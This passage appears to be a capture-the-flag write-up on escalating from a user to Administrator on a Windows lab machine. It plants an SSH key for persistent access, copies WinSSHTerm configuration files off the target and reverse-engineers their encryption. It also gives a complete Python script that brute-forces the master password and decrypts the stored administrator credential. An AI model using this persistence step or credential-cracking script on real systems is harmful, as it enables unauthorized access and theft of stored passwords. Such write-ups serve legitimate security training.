Stabilizing Access via SSH
A PowerShell reverse shell is unstable and inconvenient for in-depth exploration. We leverage the SSH port (22) to establish persistent and comfortable access. We generate a key pair on our Kali machine, then place the public key in John's profile via the reverse shell:
# On Kali
ssh-keygen -t ed25519 -f ~/.ssh/atlas_key -N ''
cat ~/.ssh/atlas_key.pub
# In the PowerShell reverse shell on the target
mkdir C:\Users\John\.ssh
echo 'ssh-ed25519 AAAA...[paste your public key]' > C:\Users\John\.ssh\authorized_keys
Direct SSH connection, much more stable:
ssh -i ~/.ssh/atlas_key [email protected]
We perform the classic post-exploitation checks: whoami /priv shows standard privileges, John does not belong to any administrative groups. The FileZilla Server service is running locally, but attempts to interact with its administration interface return access denied errors. We need to dig elsewhere.
Discovery of WinSSHTerm and Encrypted Administrator Credentials
Exploring John's home directories, we stumble upon an SSH client installed in his Downloads folder:
dir C:\Users\John\Downloads\
Directory: C:\Users\John\Downloads\WinSSHTerm
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--- ... config
-a-- ... 12824576 WinSSHTerm.exe
WinSSHTerm is a Windows SSH client capable of saving connection profiles, including passwords in encrypted form. The config directory contains two files:
connections.xml — saved SSH connection profileskey — encryption key file
The content of connections.xml is particularly interesting:
<WinSSHTerm Version="1" VerifyKey="[base64_verification_key]">
<Node Name="Admin SSH" Type="Connection"
Username="administrator"
Password="[base64_encrypted_password]"
Hostname="127.0.0.1" Port="22" />
</WinSSHTerm>
The administrator's SSH password is stored here, encrypted. The VerifyKey field is likely used to verify that decryption is correct. We retrieve all necessary files via SFTP:
sftp -i ~/.ssh/atlas_key [email protected]
sftp> get C:/Users/John/Downloads/WinSSHTerm/config/key
sftp> get C:/Users/John/Downloads/WinSSHTerm/config/connections.xml
sftp> get C:/Users/John/Downloads/WinSSHTerm/WinSSHTerm.exe
sftp> bye
.NET Decompilation and Encryption Schema Reconstruction
WinSSHTerm is a .NET application. We decompile it with ILSpy to retrieve source code almost identical to the original:
ilspycmd WinSSHTerm.exe -o ./winsshterm_src/
After analyzing the decompiled code (approximately 86,000 lines), we reconstruct an encryption schema in three nested layers.
Layer 1 – Decryption of the key file
The key file (113 bytes) is structured as follows: byte 0 is a version number (0x02), the following bytes are AES-256-CBC encrypted data. To derive the AES key and initialization vector, the application uses PBKDF2-HMAC-SHA1 (1012 iterations) with:
- Password:
obfuscated_prefix + MasterPassword + fixed_suffix - Salt: hardcoded hexadecimal value in the binary
The prefix is obfuscated by an XOR in a static constructor of the main class:
// Decompiled static constructor (pseudo-code)
for (int i = 0; i < data.Length; i++) {
data[i] = (byte)((data[i] ^ i) ^ 0xAA);
}
We apply this same XOR to the byte array embedded in the binary to retrieve the cleartext prefix. The fixed suffix is a 14-character string, including Unicode characters (16 bytes in UTF-8).
Layer 2 – Extraction of PasswordKey and SaltKey
The decrypted result of the key file is base64 decoded (64 bytes of key material). These bytes are transformed by binary NOT and then split into two 32-byte arrays: the even-indexed bytes form PasswordKey, and the odd-indexed bytes form SaltKey.
Layer 3 – Decryption of the stored password
The encrypted password extracted from connections.xml is decrypted by AES-256-CBC with a new PBKDF2-HMAC-SHA1 derivation (1012 iterations) using PasswordKey as the password and SaltKey as the salt. We remove the fixed suffix from the final result to obtain the cleartext password.
Python Decryption Script and Administrator Access
We code a Python script that automates the entire process: extracting the prefix via XOR from the binary, deriving the keys, and brute-forcing the master password using rockyou.txt. The VerifyKey field from connections.xml serves as a verification to validate each candidate without false positives:
#!/usr/bin/env python3
import hashlib, base64, sys
from Crypto.Cipher import AES
# Fixed suffix identified in the binary (includes Unicode characters)
SUFFIX = 't57i.!gd9ößfty'
PBKDF2_SALT = bytes.fromhex('3bda31b7480550e3bc66046defc951a8')
ITERATIONS = 1012
def pkcs7_unpad(data):
pad = data[-1]
return data[:-pad] if (0 < pad <= 16 and all(b == pad for b in data[-pad:])) else data
def derive_key_iv(pwd_bytes, salt_bytes):
dk = hashlib.pbkdf2_hmac('sha1', pwd_bytes, salt_bytes, ITERATIONS, dklen=48)
return dk[:32], dk[32:48]
def aes_decrypt(ciphertext, key, iv):
return pkcs7_unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext))
def open_keyfile(path, prefix, master_pw):
with open(path, 'rb') as f:
raw = f.read()
pwd = (prefix + master_pw + SUFFIX).encode('utf-8')
key, iv = derive_key_iv(pwd, PBKDF2_SALT)
try:
inner = aes_decrypt(raw[1:], key, iv).decode('utf-8').removesuffix(SUFFIX)
mat = base64.b64decode(inner)
pw_key = bytes(~mat[i * 2] & 0xFF for i in range(32))
salt_key = bytes(~mat[i * 2 + 1] & 0xFF for i in range(32))
return pw_key, salt_key
except Exception:
return None, None
def decrypt_field(enc_b64, pw_key, salt_key):
key, iv = derive_key_iv(pw_key, salt_key)
raw = aes_decrypt(base64.b64decode(enc_b64), key, iv)
return raw.decode('utf-8', errors='replace').removesuffix(SUFFIX)
if __name__ == '__main__':
# Extract PREFIX via XOR from WinSSHTerm.exe binary byte array
PREFIX = '<PREFIX_EXTRACTED_VIA_XOR_FROM_BINARY>'
KEYFILE = 'key'
VERIFY = '<VerifyKey_VALUE_FROM_connections.xml>'
ENC_PWD = '<Password_VALUE_FROM_connections.xml>'
EXPECTED = '<EXPECTED_MD5_HASH_BY_VerifyKey>'
print('[*] Brute-forcing master password in progress...')
with open('/usr/share/wordlists/rockyou.txt', 'rb') as wl:
for idx, line in enumerate(wl):
pw = line.strip().decode('utf-8', errors='ignore')
pk, sk = open_keyfile(KEYFILE, PREFIX, pw)
if pk is None:
continue
try:
if decrypt_field(VERIFY, pk, sk) == EXPECTED:
found = decrypt_field(ENC_PWD, pk, sk)
print(f'[+] Master password found: {pw!r}')
print(f'[+] Administrator password: {found}')
sys.exit(0)
except Exception:
pass
if idx % 5000 == 0:
print(f' {idx} candidates tested...', end='\r')
The script quickly finds the master password (it's present in rockyou.txt) and decrypts the Administrator password to cleartext. We use it for a direct SSH connection:
ssh [email protected]
[email protected]'s password: [decrypted_password]
type C:\Users\Administrator\Desktop\root.txt
<hash>